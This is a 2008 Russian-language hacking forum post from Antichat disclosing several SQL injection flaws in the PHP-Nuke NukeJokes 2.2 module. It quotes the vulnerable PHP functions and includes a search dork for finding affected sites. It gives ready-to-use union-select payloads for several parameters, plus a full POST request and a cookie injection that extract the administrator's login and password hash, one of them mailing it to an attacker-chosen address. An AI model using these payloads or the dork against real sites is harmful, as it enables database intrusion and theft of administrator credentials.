Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

19.12.2008, 03:44
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
Уязвимый продукт: PHP-NUKE module NukeJokes
Версия: 2.2
Дорк: inurl:modules.php?name=NukeJokes
SQL-injections
Уязвимость в файле: index.php
PHP код:
function CatView($cat, $page){
...
$result = sql_query("SELECT jokecid, catname FROM ".$prefix."_jokes_categories WHERE jokecid='$cat'", $dbi);
Данные из параметра cat попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=CatView&cat=-7'%0aunion+select+1,2%23
PHP код:
function JokeView($jokeid){
...
$result = sql_query("SELECT author, name, date, cat, joke, hits, ratingtot, ratings FROM ".$prefix."_jokes WHERE jokeid='$jokeid'", $dbi);
Данные из параметра jokeid попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=JokeView&jokeid=-1'%0aunion+select+1,2,3,4,5,6,7,8%23
Уязвимость в файле: send.php
PHP код:
function send($jokeid, $sendername, $senderemail, $toname, $toemail){
global $sitename, $nukeurl, $prefix, $dbi, $module_name, $stop;
include("header.php");
include("config.php");
checkemail($toemail);
if (!$stop) {
$result = sql_query("SELECT name from ".$prefix."_jokes where jokeid='$jokeid'", $dbi);
list($name) = sql_fetch_row($result, $dbi);
$subject = ""._SUBJECT." $sitename";
$message = ""._HELLO." $toname:\n\n"._YOURFRIEND." $sendername "._CONSIDERED."\n\n\n$name\n\n"._URL.": $nukeurl/modules.php?name=$module_name&func=JokeView&jokeid=$jokeid\n\n"._YOUCANREAD." $sitename\n$nukeurl";
$toemail = str_replace(" ","",$toemail);
mail($toemail, $subject, $message, "From: \"$sendername\" <$senderemail>\nX-Mailer: PHP/" . phpversion());
Уязвимость в параметре jokeid, т.к данные из столбца name отправляются на email, при таком запросе:
Код:
POST /modules.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/modules.php?name=NukeJokes&file=send&jokeid=1608
Cookie: TRACKID=7b45bd0b2a560da542a5eb4fc22512c6; lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
name=NukeJokes&file=send&func=send&jokeid=-1'/**/union select concat(aid,0x3a,pwd) from nuke_authors limit 0,1/*&sendername=aaa&senderemail=aaa%40mail.ru&toname=bbb&toemail=aaa%40mail.ru
Мы получим aid:hash администратора на указаное нами мыло
Уязвимость в файле: search.php
PHP код:
function search($q, $cat){
global $module_name, $prefix, $bgcolor1, $bgcolor2, $dbi, $prefix;
include("header.php");
if($cat==0){
$cats = " ";
}else{
$cats = " cat=".$cat." AND ";
}
ModuleSearch();
...
$search = sql_query("SELECT jokeid, author, date, name, cat, hits, ratings FROM ".$prefix."_jokes WHERE".$cats."(name LIKE '%$q%' OR joke LIKE '%$q%')", $dbi);
Уязвимость в параметрах cat и q
Пример запроса:
Код:
/modules.php?name=NukeJokes&file=search&func=search&q=x&cat=7%0aunion+select+1,2,3,4,5,6,7%23
Уязвимость в файле: comments.php
PHP код:
function JokesAddCom($jokeid, $author, $comment){
global $prefix, $dbi, $bgcolor1, $module_name, $bgcolor2;
$author = FixQuotes(nl2br(filter_text($author)));
$comment = FixQuotes(nl2br(filter_text($comment)));
sql_query("INSERT into ".$prefix."_jokes_comments VALUES(NULL, '$author' ,'$comment' , '$jokeid')", $dbi);
в ф-ции, filter_text удаляются хтмл тэги, затем данные попадают в ф-цию FixQuotes
PHP код:
function FixQuotes ($what = "") {
while (stristr($what, "\\\\'")) {
$what = str_replace("\\\\'","'",$what);
}
return $what;
}
Для чего здесь была использована эта ф-ция непонятно, при magic_quotes_gpc=off мы без труда можем внедрить наш sql код, для этого
выбираем любую шутку, жмем добавить комментарий, в куки кидаем:
Код:
author=aa',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1),Существующий_ID)/*
в результате получим aid:hash админа
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Books PHP
|
FRAGNATIC |
PHP, PERL, MySQL, JavaScript |
186 |
21.02.2010 02:41 |
|
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн
|
M1nK0 |
PHP, PERL, MySQL, JavaScript |
10 |
27.06.2009 21:35 |
|
Что такое Php?
|
PAPA212 |
Болталка |
13 |
28.12.2007 20:44 |
|
Безопасность в Php, Часть Iii
|
k00p3r |
Чужие Статьи |
0 |
11.07.2005 19:02 |
|
Защищаем Php. Шаг за шагом.
|
k00p3r |
Чужие Статьи |
0 |
13.06.2005 11:31 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|